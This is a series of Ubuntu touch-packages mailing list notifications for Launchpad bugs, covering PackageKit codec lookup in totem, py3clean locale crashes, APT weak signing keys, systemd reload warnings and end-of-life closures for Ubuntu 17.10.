[Touch-packages] [Bug 2060730] Re: totem cannot install codecs via packagekit

[Brian Murray]

** Changed in: totem (Ubuntu)
   Status: Invalid => Triaged

** Also affects: totem (Ubuntu Noble)
   Importance: Undecided
   Status: New

** Also affects: packagekit (Ubuntu Noble)
   Importance: Undecided
   Status: New

** Also affects: totem (Ubuntu Oracular)
   Importance: Undecided
   Status: Triaged

** Also affects: packagekit (Ubuntu Oracular)
   Importance: Undecided
   Status: Invalid

** Changed in: totem (Ubuntu Noble)
   Status: New => Triaged

** Changed in: totem (Ubuntu Noble)
Milestone: None => noble-updates

** Changed in: totem (Ubuntu Oracular)
Milestone: None => ubuntu-24.10-beta

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to packagekit in Ubuntu.
https://bugs.launchpad.net/bugs/2060730

Title:
  totem cannot install codecs via packagekit

Status in App Center:
  Triaged
Status in packagekit package in Ubuntu:
  Invalid
Status in totem package in Ubuntu:
  Triaged
Status in packagekit source package in Noble:
  New
Status in totem source package in Noble:
  Triaged
Status in packagekit source package in Oracular:
  Invalid
Status in totem source package in Oracular:
  Triaged

Bug description:
  While attempting to play a video on Ubuntu noble desktop for raspberry
  pi, totem attempts to locate a package for the H.264 codec but cannot
  find a service providing org.freedesktop.PackageKit. This is strange
  given that packagekit is installed, provides packagekit.service, which
  declares that it provides that name over DBus. Specifically, the
  following is output by totem:

  ** Message: 21:13:39.000: Missing plugin: gstreamer|1.0|totem|MPEG-4 AAC 
decoder|decoder-audio/mpeg, mpegversion=(int)4, level=(string)4, 
base-profile=(string)lc, profile=(string)lc (MPEG-4 AAC decoder)
  ** Message: 21:13:39.000: Missing plugin: gstreamer|1.0|totem|H.264 (Main 
Profile) decoder|decoder-video/x-h264, level=(string)3.1, profile=(string)main 
(H.264 (Main Profile) decoder)
  ** Message: 21:13:39.414: PackageKit: xid = 0
  ** Message: 21:13:39.414: PackageKit: desktop_id = org.gnome.Totem.desktop
  ** Message: 21:13:39.414: PackageKit: Codec nice name: MPEG-4 AAC decoder
  ** Message: 21:13:39.414: PackageKit: ignoring field named level
  ** Message: 21:13:39.414: PackageKit: ignoring field named base-profile
  ** Message: 21:13:39.414: PackageKit: ignoring field named profile
  ** Message: 21:13:39.414: PackageKit: field is: mpegversion, type: gint
  ** Message: 21:13:39.414: PackageKit: structure: 
gstreamer1(decoder-audio/mpeg)(mpegversion=4)()(64bit)
  ** Message: 21:13:39.414: PackageKit: Codec nice name: H.264 (Main 
Profile) decoder
  ** Message: 21:13:39.414: PackageKit: ignoring field named level
  ** Message: 21:13:39.414: PackageKit: ignoring field named profile
  ** Message: 21:13:39.414: PackageKit: structure: 
gstreamer1(decoder-video/x-h264)()(64bit)
  ** Message: 21:13:39.434: PackageKit: Did not install codec: 
GDBus.Error:org.freedesktop.DBus.Error.ServiceUnknown: The name 
org.freedesktop.PackageKit was not provided by any .service files
  ** Message: 21:13:39.441: No installation candidate for missing plugins 
found.

  The packagekit.service is defined as:

  $ systemctl cat packagekit.service
  # /usr/lib/systemd/system/packagekit.service
  [Unit]
  Description=PackageKit Daemon
  # PK doesn't know how to do anything on ostree-managed systems;
  # currently the design is to have dedicated daemons like
  # eos-updater and rpm-ostree, and gnome-software talks to those.
  ConditionPathExists=!/run/ostree-booted
  Wants=network-online.target
  
  [Service]
  Type=dbus
  BusName=org.freedesktop.PackageKit
  User=root
  ExecStart=/usr/libexec/packagekitd

  And just to demonstrate packagekit is actually running:

  $ systemctl status packagekit.service
  ● packagekit.service - PackageKit Daemon
   Loaded: loaded (/usr/lib/systemd/system/packagekit.service; static)
   Active: active (running) since Tue 2024-04-09 21:11:35 BST; 2min 23s 
ago
 Main PID: 1565 (packagekitd)
Tasks: 4 (limit: 3864)
   Memory: 6.2M (peak: 6.7M)
  CPU: 180ms
   CGroup: /system.slice/packagekit.service
   └─1565 /usr/libexec/packagekitd
  
  Apr 09 21:11:34 fozzie systemd[1]: Starting packagekit.service - 
PackageKit Daemon...
  Apr 09 21:11:34 fozzie PackageKit[1565]: daemon start
  Apr 09 21:11:35 fozzie systemd[1]: Started packagekit.service - 
PackageKit Daemon.

To manage notifications about this bug go to:
https://bugs.launchpad.net/app-center/+bug/2060730/+subscriptions


-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : 

[Touch-packages] [Bug 2060693] Re: No welcome/login sound on Ubuntu desktop

[Brian Murray]

Could we sort this out for Oracular?

** Also affects: libcanberra (Ubuntu Oracular)
   Importance: Undecided
   Status: Confirmed

** Also affects: libcanberra (Ubuntu Noble)
   Importance: Undecided
   Status: New

** Changed in: libcanberra (Ubuntu Noble)
   Status: New => Confirmed

** Changed in: libcanberra (Ubuntu Noble)
Milestone: None => noble-updates

** Changed in: libcanberra (Ubuntu Oracular)
Milestone: None => ubuntu-24.10-beta

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to libcanberra in Ubuntu.
https://bugs.launchpad.net/bugs/2060693

Title:
  No welcome/login sound on Ubuntu desktop

Status in libcanberra package in Ubuntu:
  Confirmed
Status in libcanberra source package in Noble:
  Confirmed
Status in libcanberra source package in Oracular:
  Confirmed

Bug description:
  Under the Ubuntu desktop for Raspberry Pi, for several recent
  releases, the startup sound from the Yaru sound theme has failed to
  play both at the initial setup (from oem-config, where it used to play
  just before language selection), and at the greeter.

  This worked in Jammy (22.04), but on at least mantic (23.10) and the
  forthcoming noble (24.04) (and possibly earlier), this has failed.
  It's not due to a crash in canberra-gtk-play (used to play the sound).
  The only hint that something has failed appears in the oem-config.log:

Failed to play sound: Not available

  Unfortunately there's nothing else in the log that hints at why
  canberra-gtk-play is failing.

  There are several similar bug report, but I doubt they are related
  given their age (e.g. LP: #1002114 relates to ubuntu 12.04 which had a
  very different sound stack and predates the preinstalled desktop
  images).

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/libcanberra/+bug/2060693/+subscriptions


-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 2061118] Re: Rendering issues in virtual machines (GTK ngl backend)

[Brian Murray]

** Changed in: gtk4 (Ubuntu Noble)
Milestone: None => noble-updates

** Changed in: mesa (Ubuntu Noble)
Milestone: None => noble-updates

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to mesa in Ubuntu.
https://bugs.launchpad.net/bugs/2061118

Title:
  Rendering issues in virtual machines (GTK ngl backend)

Status in GTK+:
  New
Status in Mesa:
  New
Status in gtk4 package in Ubuntu:
  Confirmed
Status in mesa package in Ubuntu:
  Triaged
Status in gtk4 source package in Noble:
  Confirmed
Status in mesa source package in Noble:
  Triaged

Bug description:
  Build: Noble Daily Current from 12th April

  Host OS: Windows 11

  VM App: VMWare Workstation 17 Player

  Issue: During installation there is continuous black flickering
  artefacts throughout the flow. Installation completed successfully,
  got to GDM, logged in but desktop screen is black and then locks up
  the whole application, cannot shutdown or interact with Player and
  need to hard kill from task manager.

  The issue appears does not appear with Mantic with the exact same
  machine configuration and appears to be an issue with GPU, my host
  machine is running an NVIDIA 4070ti with the latest windows drivers.

  On reboot some elements of the desktop are visible but cannot be
  interacted with without further lockups.

To manage notifications about this bug go to:
https://bugs.launchpad.net/gtk/+bug/2061118/+subscriptions


-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 2075337] Re: py3clean fails when using alternate character set

[Brian Murray]

What is the plan for fixing this in Oracular?

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to dh-python in Ubuntu.
https://bugs.launchpad.net/bugs/2075337

Title:
  py3clean fails when using alternate character set

Status in cloud-init package in Ubuntu:
  New
Status in dh-python package in Ubuntu:
  New
Status in python3-defaults package in Ubuntu:
  New
Status in ubuntu-advantage-tools package in Ubuntu:
  New
Status in cloud-init source package in Jammy:
  Invalid
Status in dh-python source package in Jammy:
  New
Status in python3-defaults source package in Jammy:
  New
Status in ubuntu-advantage-tools source package in Jammy:
  Invalid
Status in cloud-init source package in Noble:
  New
Status in dh-python source package in Noble:
  New
Status in python3-defaults source package in Noble:
  New
Status in ubuntu-advantage-tools source package in Noble:
  New

Bug description:
  We noticed this in bug 2060769 but think it is a separate issue.

  dh_python3 is putting a py3clean invocation into package prerm
  maintainer scripts. When that runs, it explodes if the system
  character set is for example ISO-8859-1.

  This appears to affect every package for which dh_python3 has inserted
  a call to py3clean into the package prerm.

  python3-minimal 3.12.3-0ubuntu1

  In this reproducer, cloud-init is at 24.1.3-0ubuntu3.3.

  Steps to reproduce:

  $ lxc launch ubuntu:noble rbasak-pro-l8n
  $ lxc shell rbasak-pro-l8n
  # locale-gen fr_FR
  Generating locales (this might take a while)...
fr_FR.ISO-8859-1... done
  Generation complete.
  # update-locale LANG=fr_FR
  # exit
  # adjust terminal to ISO-8859-1
  $ lxc shell rbasak-pro-l8n
  # apt update && apt install --reinstall cloud-init

  Expected results: success

  Actual results:

  Lecture des listes de paquets... Fait
  Construction de l'arbre des dépendances... Fait
  Lecture des informations d'état... Fait
  0 mis à jour, 0 nouvellement installés, 1 réinstallés, 0 à enlever et 5 non 
mis à jour.
  Il est nécessaire de prendre 598 ko dans les archives.
  Après cette opération, 0 o d'espace disque supplémentaires seront utilisés.
  Réception de :1 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 
cloud-init all 24.1.3-0ubuntu3.3 [598 kB]
  598 ko réceptionnés en 1s (926 ko/s)
  Préconfiguration des paquets...
  (Lecture de la base de données... 34406 fichiers et répertoires déjà 
installés.)
  Préparation du dépaquetage de .../cloud-init_24.1.3-0ubuntu3.3_all.deb ...
  Traceback (most recent call last):
File "/usr/bin/py3clean", line 210, in 
  main()
File "/usr/bin/py3clean", line 196, in main
  pfiles = set(dpf.from_package(options.package))
   ^^
File "/usr/share/python3/debpython/files.py", line 54, in from_package
  stdout = str(stdout, 'utf-8')
   
  UnicodeDecodeError: 'utf-8' codec can't decode byte 0xe9 in position 2417: 
invalid continuation byte
  dpkg: avertissement: le sous-processus ancien paquet cloud-init script 
pre-removal a renvoyé un état de sortie d'erreur 1
  dpkg: tentative d'exécution du script du nouveau paquet à la place...
  Traceback (most recent call last):
File "/usr/bin/py3clean", line 210, in 
  main()
File "/usr/bin/py3clean", line 196, in main
  pfiles = set(dpf.from_package(options.package))
   ^^
File "/usr/share/python3/debpython/files.py", line 54, in from_package
  stdout = str(stdout, 'utf-8')
   
  UnicodeDecodeError: 'utf-8' codec can't decode byte 0xe9 in position 2417: 
invalid continuation byte
  dpkg: erreur de traitement de l'archive 
/var/cache/apt/archives/cloud-init_24.1.3-0ubuntu3.3_all.deb (--unpack) :
   le sous-processus nouveau cloud-init paquet pre-removal script a renvoyé un 
état de sortie d'erreur 1
  dmesg: read kernel buffer failed: Operation not permitted
   Traceback (most 
recent call last):
File "/usr/bin/py3compile", line 323, in 
  main()
File "/usr/bin/py3compile", line 302, in main
  compile(files, versions,
File "/usr/bin/py3compile", line 185, in compile
  for fn, versions_to_compile in filter_files(files, e_patterns, versions):
File "/usr/bin/py3compile", line 128, in filter_files
  for fpath in files:
File "/usr/share/python3/debpython/files.py", line 71, in filter_public
  for fn in files:
File "/usr/share/python3/debpython/files.py", line 54, in from_package
  stdout = str(stdout, 'utf-8')
   
  UnicodeDecodeError: 'utf-8' codec can't decode byte 0xe9 in position 2417: 
invalid continuation byte
  dpkg: erreur lors du nettoyage:
   le sous-processus paquet cloud-init script post-installation installé a 
renvoyé un état de sortie d'erreur 1
  Des 

[Touch-packages] [Bug 2060721] Re: APT 2.8.0: Promote weak key warnings to errors

[Brian Murray]

** Description changed:

  ⚠️ Only land this in the release/updates pocket after PPAs have been
  resigned
  
  (This bumps the apt version to 2.8.0. APT uses the odd/even number
  system, with 2.7.x being the development series for 2.8, and this is the
- only change left for the 2.8 release, safe for some minor
+ only change left for the 2.8 release, save for some minor
  translation/test suite improvements)
  
  (Please also look at bug 2073126 for the follow-up changes to mitigate
  regression potential).
  
  [Impact]
  APT is currently just warning about keys that it should be rejecting to give 
Launchpad time to resign PPAs. This needs to be bumped to an error such that 
the crypto policy is fully implemented and we only trust keys that are still 
being trusted. #2055193
  
  A warning provides some help right now to third-parties to fix their
  repositories, but it's not *safe*: A repository could have multiple
  signing keys and be signed by a good key now, then later, a previous key
  still in trusted.gpg.d could be revoked and we'd degrade to warnings,
  which, given that we update in the background automatically, the user
  may not see.
  
  Other fixes:
  - The test suite has been made less flaky in two places
  - Documentation translation has been unfuzzied for URL changes in 2.7.14
  
- [Test plan]
- The vast regression test suite prevents regression in other components. 
Additional tests are:
+ [Test plan]The vast regression test suite prevents regression in other
+ components. Additional tests are:
  
  1. (promotion to error) Take a repository that has a weak RSA key warning, 
upgrade apt and check that it is an error
  2. (still valid) Check that the main Ubuntu repositories and/or resigned PPAs 
work correctly.
  
  We don't have any tests for the test changes or the documentation
  translation URL unfuzzying.
  
  [Where problems could occur]
  apt will start to fail updates of repositories with weak signing keys, but it 
will have warned users about that before. Given that it is still early in the 
cycle, and we only enable updates from 22.04.1 for 24.04.1, this seems the 
right tradeoff for future security.

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to apt in Ubuntu.
https://bugs.launchpad.net/bugs/2060721

Title:
  APT 2.8.0: Promote weak key warnings to errors

Status in apt package in Ubuntu:
  Fix Released
Status in apt source package in Noble:
  Fix Committed

Bug description:
  ⚠️ Only land this in the release/updates pocket after PPAs have been
  resigned

  (This bumps the apt version to 2.8.0. APT uses the odd/even number
  system, with 2.7.x being the development series for 2.8, and this is
  the only change left for the 2.8 release, save for some minor
  translation/test suite improvements)

  (Please also look at bug 2073126 for the follow-up changes to mitigate
  regression potential).

  [Impact]
  APT is currently just warning about keys that it should be rejecting to give 
Launchpad time to resign PPAs. This needs to be bumped to an error such that 
the crypto policy is fully implemented and we only trust keys that are still 
being trusted. #2055193

  A warning provides some help right now to third-parties to fix their
  repositories, but it's not *safe*: A repository could have multiple
  signing keys and be signed by a good key now, then later, a previous
  key still in trusted.gpg.d could be revoked and we'd degrade to
  warnings, which, given that we update in the background automatically,
  the user may not see.

  Other fixes:
  - The test suite has been made less flaky in two places
  - Documentation translation has been unfuzzied for URL changes in 2.7.14

  [Test plan]The vast regression test suite prevents regression in other
  components. Additional tests are:

  1. (promotion to error) Take a repository that has a weak RSA key warning, 
upgrade apt and check that it is an error
  2. (still valid) Check that the main Ubuntu repositories and/or resigned PPAs 
work correctly.

  We don't have any tests for the test changes or the documentation
  translation URL unfuzzying.

  [Where problems could occur]
  apt will start to fail updates of repositories with weak signing keys, but it 
will have warned users about that before. Given that it is still early in the 
cycle, and we only enable updates from 22.04.1 for 24.04.1, this seems the 
right tradeoff for future security.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/apt/+bug/2060721/+subscriptions


-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 2067672] Re: [SRU] Openssl copyright/changelog.Debian.gz file points at non-existent location

[Brian Murray]

I'm adjusting the milestone to noble-updates based this being tagged
block-proposed-noble and that it isn't necessary to have on the image
builds.

** Changed in: openssl (Ubuntu Noble)
Milestone: ubuntu-24.04.1 => noble-updates

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to openssl in Ubuntu.
https://bugs.launchpad.net/bugs/2067672

Title:
  [SRU] Openssl copyright/changelog.Debian.gz file points at non-
  existent location

Status in OEM Priority Project:
  Triaged
Status in openssl package in Ubuntu:
  Fix Released
Status in openssl source package in Noble:
  In Progress
Status in openssl source package in Oracular:
  Fix Released

Bug description:
  [ Impact ]

  Due to the t64 transition, the changelog.Debian.gz and copyright
  symlinks in various binary packages built from openssl source are
  dangling symlinks, because /usr/share/doc/libssl3 no longer exists.
  This gives users an error when trying to look at these files, and is
  an impediment to inspecting the copyright status of the packages in an
  installed system.

  [ Test Plan ]

   * list the openssl or libssl-dev to check if symbol link is valid.
     $ l -thal /usr/share/doc/libssl-dev/
     $ l -thal /usr/share/doc/openssl/
     $ file /usr/share/doc/libssl-dev/copyright
     $ file /usr/share/doc/openssl/copyright

  [ Where problems could occur ]

   * It didn't affects any functions, just the symbol links are
  misssing.

  [ Other Info ]
   Currently it link to the old version libssl3, currently libssl3 is purely 
virtual.

  $ l -thal /usr/share/doc/openssl-dev/
  lrwxrwxrwx1 root root   30 May 14 17:06 changelog.Debian.gz -> 
../libssl3/changelog.Debian.gz
  lrwxrwxrwx1 root root   23 May 14 17:06 changelog.gz -> 
../libssl3/changelog.gz
  lrwxrwxrwx1 root root   20 May 14 17:06 copyright -> ../libssl3/copyright

  $ l -thal /usr/share/doc/libssl-dev/
  total 84K
  drwxr-xr-x2 root root 4.0K May 23 16:08 ./
  drwxr-xr-x 2180 root root  76K May 16 20:13 ../
  lrwxrwxrwx1 root root   30 May 14 17:06 changelog.Debian.gz -> 
../libssl3/changelog.Debian.gz
  lrwxrwxrwx1 root root   23 May 14 17:06 changelog.gz -> 
../libssl3/changelog.gz
  lrwxrwxrwx1 root root   20 May 14 17:06 copyright -> ../libssl3/copyright

To manage notifications about this bug go to:
https://bugs.launchpad.net/oem-priority/+bug/2067672/+subscriptions


-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 2055239] Re: Warning: The unit file, source configuration file or drop-ins of {apt-news, esm-cache}.service changed on disk. Run 'systemctl daemon-reload' to reload units.

[Brian Murray]

Hello Nobuto, or anyone else affected,

Accepted systemd into noble-proposed. The package will build now and be
available at
https://launchpad.net/ubuntu/+source/systemd/255.4-1ubuntu8.3 in a few
hours, and then in the -proposed repository.

Please help us by testing this new package.  See
https://wiki.ubuntu.com/Testing/EnableProposed for documentation on how
to enable and use -proposed.  Your feedback will aid us getting this
update out to other Ubuntu users.

If this package fixes the bug for you, please add a comment to this bug,
mentioning the version of the package you tested, what testing has been
performed on the package and change the tag from verification-needed-
noble to verification-done-noble. If it does not fix the bug for you,
please add a comment stating that, and change the tag to verification-
failed-noble. In either case, without details of your testing we will
not be able to proceed.

Further information regarding the verification process can be found at
https://wiki.ubuntu.com/QATeam/PerformingSRUVerification .  Thank you in
advance for helping!

N.B. The updated package will be released to -updates after the bug(s)
fixed by this package have been verified and the package has been in
-proposed for a minimum of 7 days.

** Changed in: systemd (Ubuntu Noble)
   Status: In Progress => Fix Committed

** Tags added: verification-needed verification-needed-noble

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/2055239

Title:
  Warning: The unit file, source configuration file or drop-ins of {apt-
  news,esm-cache}.service changed on disk. Run 'systemctl daemon-reload'
  to reload units.

Status in snapd:
  New
Status in systemd package in Ubuntu:
  Fix Released
Status in ubuntu-advantage-tools package in Ubuntu:
  Invalid
Status in systemd source package in Noble:
  Fix Committed
Status in ubuntu-advantage-tools source package in Noble:
  Invalid

Bug description:
  [Impact]

  systemd may incorrectly mark units as needing a daemon reload,
  therefore unnecessarily printing the warning that a daemon-reload is
  needed for the changes to take effect. This is misleading to users,
  and particularly visible in cases like running apt update, since there
  is an apt hook (/etc/apt/apt.conf.d/20apt-esm-hook.conf) that starts
  two systemd services.

  [Test Plan]

  This bug can be triggered by running systemctl enable/disable on a 
non-existent unit. After that, calling systemctl start/status/etc. will show a 
false warning
  that the unit changed on disk. Hence, to test, simply:

  $ systemctl enable somethingthatdefinitelydoesnotexist.service
  $ systemctl status systemd-resolved.service 
  $ apt update

  On an effected system, warnings will be shown when calling both
  commands after the "enable non-existent unit" step.

  [Where problems could occur]

  This patch fixes a previous commit by ensuring that the
  manager->unit_file_state_outdated flag is set *only* when some
  modifications succeeded, but the overall operation failed. In cases
  where everything fails, it is not necessary to set the flag.

  Since the patch is restricted to this area, any regressions from this
  patch would most likely also be related to the NeedDaemonReload
  property of units.

  [Other information]

  The patch is from upstream:
  
https://github.com/systemd/systemd/pull/32610/commits/d69cba3bfffc7b1e3197e2a34b459db13b1e1cb7#diff-84bbf3361da4139a5620a035ebd24f50a0e4d4ece7952dc2d8b4325e6ebdf6e0L2320

  [Original Description]

  I recently started seeing the following warning messages when I run
  `apt update`.

  $ sudo apt update
  Warning: The unit file, source configuration file or drop-ins of 
apt-news.service changed on disk. Run 'systemctl daemon-reload' to reload units.
  Warning: The unit file, source configuration file or drop-ins of 
esm-cache.service changed on disk. Run 'systemctl daemon-reload' to reload 
units.
  ...

  apt-news.service for example is in /lib/systemd/system/apt-
  news.service and it's a static file managed by the package. Does the
  package maintenance script call systemd related hooks to reload the
  config whenever the package gets updated?

  $ systemctl cat apt-news.service
  # /usr/lib/systemd/system/apt-news.service
  # APT News is hosted at https://motd.ubuntu.com/aptnews.json and can include
  # timely information related to apt updates available to your system.
  ...

  $ dpkg -S /lib/systemd/system/apt-news.service
  ubuntu-pro-client: /lib/systemd/system/apt-news.service

  ProblemType: BugDistroRelease: Ubuntu 24.04
  Package: ubuntu-pro-client 31.1
  ProcVersionSignature: Ubuntu 6.6.0-14.14-generic 6.6.3
  Uname: Linux 6.6.0-14-generic x86_64
  NonfreeKernelModules: zfs
  ApportVersion: 2.28.0-0ubuntu1
  Architecture: amd64
  CasperMD5CheckResult: pass
  CurrentDesktop: ubuntu:GNOME
  Date: Wed Feb 28 13:06:35 2024
  InstallationDate: 

[Touch-packages] [Bug 1739672] Re: Regression in getaddrinfo(): calls block for much longer on Bionic (compared to Xenial), please disable LLMNR

[Brian Murray]

Ubuntu 17.10 (Artful Aardvark) has reached end of life, so this bug will
not be fixed for that specific release.

** Changed in: glibc (Ubuntu Artful)
   Status: New => Won't Fix

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/1739672

Title:
  Regression in getaddrinfo(): calls block for much longer on Bionic
  (compared to Xenial), please disable LLMNR

Status in glibc package in Ubuntu:
  Invalid
Status in linux package in Ubuntu:
  Invalid
Status in systemd package in Ubuntu:
  Fix Released
Status in glibc source package in Artful:
  Won't Fix
Status in linux source package in Artful:
  Won't Fix
Status in systemd source package in Artful:
  Won't Fix
Status in glibc source package in Bionic:
  Invalid
Status in linux source package in Bionic:
  Invalid
Status in systemd source package in Bionic:
  Fix Released

Bug description:
  When testing MAAS on Bionic, we noticed sluggish performance that we
  could not immediately explain.

  After comparing the results from a run of the test suite on Xenial to
  a run on Bionic, we determined that the slowdowns had to do with DNS
  lookups. In particular, if MAAS attempts to resolve a hostname using
  getaddrinfo() and the call fails, on Xenial the negative result is
  returned in a fraction of a second. On Bionic, the negative result is
  returned in ~1.6 seconds, according to some measures.

  ### To run the test ###

  git clone https://github.com/mpontillo/test-getaddrinfo
  cd test-getaddrinfo
  make

  ### Results on Xenial ###
  $ time ./test not-a-real-hostname
  Trying to resolve: not-a-real-hostname
  getaddrinfo errno: Success
  getaddrinfo() return value: -2 (Name or service not known)

  real  0m0.015s
  user  0m0.000s
  sys   0m0.000s

  ### Results on Bionic ###
  $ time ./test not-a-real-hostname
  Trying to resolve: not-a-real-hostname
  getaddrinfo errno: Resource temporarily unavailable
  getaddrinfo() return value: -3 (Temporary failure in name resolution)

  real  0m1.609s
  user  0m0.004s
  sys   0m0.000s

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/glibc/+bug/1739672/+subscriptions


-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1728120] Re: apparmor_parser is missing fix for rule down grades

[Brian Murray]

Ubuntu 17.10 (Artful Aardvark) has reached end of life, so this bug will
not be fixed for that specific release.

** Changed in: apparmor (Ubuntu Artful)
   Status: Confirmed => Won't Fix

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to apparmor in Ubuntu.
https://bugs.launchpad.net/bugs/1728120

Title:
  apparmor_parser is missing fix for rule down grades

Status in apparmor package in Ubuntu:
  Fix Released
Status in apparmor source package in Xenial:
  Confirmed
Status in apparmor source package in Zesty:
  Confirmed
Status in apparmor source package in Artful:
  Won't Fix
Status in apparmor package in Debian:
  Fix Released

Bug description:
  The Ubuntu version of apparmor is missing the fix for rule down grades
  that exist in the current upstream maintenance releases.

  This fix is needed to properly handle policy for different kernel
  abis.

  The fix can be obtained either through SRUing the appropriate
  maintenance release, or by cherry-picking r3700.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/apparmor/+bug/1728120/+subscriptions


-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1739672] Re: Regression in getaddrinfo(): calls block for much longer on Bionic (compared to Xenial), please disable LLMNR

[Brian Murray]

Ubuntu 17.10 (Artful Aardvark) has reached end of life, so this bug will
not be fixed for that specific release.

** Changed in: systemd (Ubuntu Artful)
   Status: New => Won't Fix

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/1739672

Title:
  Regression in getaddrinfo(): calls block for much longer on Bionic
  (compared to Xenial), please disable LLMNR

Status in glibc package in Ubuntu:
  Invalid
Status in linux package in Ubuntu:
  Invalid
Status in systemd package in Ubuntu:
  Fix Released
Status in glibc source package in Artful:
  Won't Fix
Status in linux source package in Artful:
  Won't Fix
Status in systemd source package in Artful:
  Won't Fix
Status in glibc source package in Bionic:
  Invalid
Status in linux source package in Bionic:
  Invalid
Status in systemd source package in Bionic:
  Fix Released

Bug description:
  When testing MAAS on Bionic, we noticed sluggish performance that we
  could not immediately explain.

  After comparing the results from a run of the test suite on Xenial to
  a run on Bionic, we determined that the slowdowns had to do with DNS
  lookups. In particular, if MAAS attempts to resolve a hostname using
  getaddrinfo() and the call fails, on Xenial the negative result is
  returned in a fraction of a second. On Bionic, the negative result is
  returned in ~1.6 seconds, according to some measures.

  ### To run the test ###

  git clone https://github.com/mpontillo/test-getaddrinfo
  cd test-getaddrinfo
  make

  ### Results on Xenial ###
  $ time ./test not-a-real-hostname
  Trying to resolve: not-a-real-hostname
  getaddrinfo errno: Success
  getaddrinfo() return value: -2 (Name or service not known)

  real  0m0.015s
  user  0m0.000s
  sys   0m0.000s

  ### Results on Bionic ###
  $ time ./test not-a-real-hostname
  Trying to resolve: not-a-real-hostname
  getaddrinfo errno: Resource temporarily unavailable
  getaddrinfo() return value: -3 (Temporary failure in name resolution)

  real  0m1.609s
  user  0m0.004s
  sys   0m0.000s

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/glibc/+bug/1739672/+subscriptions


-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1686081] Re: If -synaptics is installed, GNOME Mouse & Touchpad Settings doesn't work

[Brian Murray]

Ubuntu 17.10 (Artful Aardvark) has reached end of life, so this bug will
not be fixed for that specific release.

** Changed in: mutter (Ubuntu Artful)
   Status: Confirmed => Won't Fix

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to xorg in Ubuntu.
https://bugs.launchpad.net/bugs/1686081

Title:
  If -synaptics is installed, GNOME Mouse & Touchpad Settings doesn't
  work

Status in Release Notes for Ubuntu:
  Fix Released
Status in Ubuntu:
  Fix Released
Status in gnome-control-center package in Ubuntu:
  Fix Released
Status in mutter package in Ubuntu:
  Fix Released
Status in xorg package in Ubuntu:
  Invalid
Status in xubuntu-meta package in Ubuntu:
  Fix Released
Status in gnome-control-center source package in Artful:
  Won't Fix
Status in mutter source package in Artful:
  Won't Fix
Status in xorg source package in Artful:
  Invalid
Status in xubuntu-meta source package in Artful:
  Fix Released

Bug description:
  I'm splitting this issue off from LP: #1685542 (which made xserver-
  xorg-input-all no longer recommend xserver-xorg-input-synaptics) for
  tracking the remaining issues.

  gnome-control-center only supports libinput. If xserver-xorg-input-
  synaptics is installed (because it's used by some desktops which
  haven't been ported to libinput yet), synaptics overrides libinput.
  That makes gnome-control-center's Mouse & Touchpad settings panel only
  show basic settings and important configurations don't work.

  Questions
  -
  1. Which desktops/apps still need -synaptics?
  - Unity
  - Xfce?
  - LXDE? LXQt?
  All the other major desktops have already been ported (LP: #1417980)

  2. Can these apps be ported or removed before 18.04 LTS is released?

  3. Can the desktops be ported and how bad is it if they are not ported
  and -synaptics is no longer available?

  4. If -synaptics can't be removed completely from 18.04 LTS, does it
  make sense to have gnome-control-center Conflicts: xserver-xorg-input-
  synaptics?

  5. Is there any other way we can fix this conflict?

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu-release-notes/+bug/1686081/+subscriptions


-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1733683] Re: python3-lttngust tries to load unversionned agent library

[Brian Murray]

Ubuntu 17.10 (Artful Aardvark) has reached end of life, so this bug will
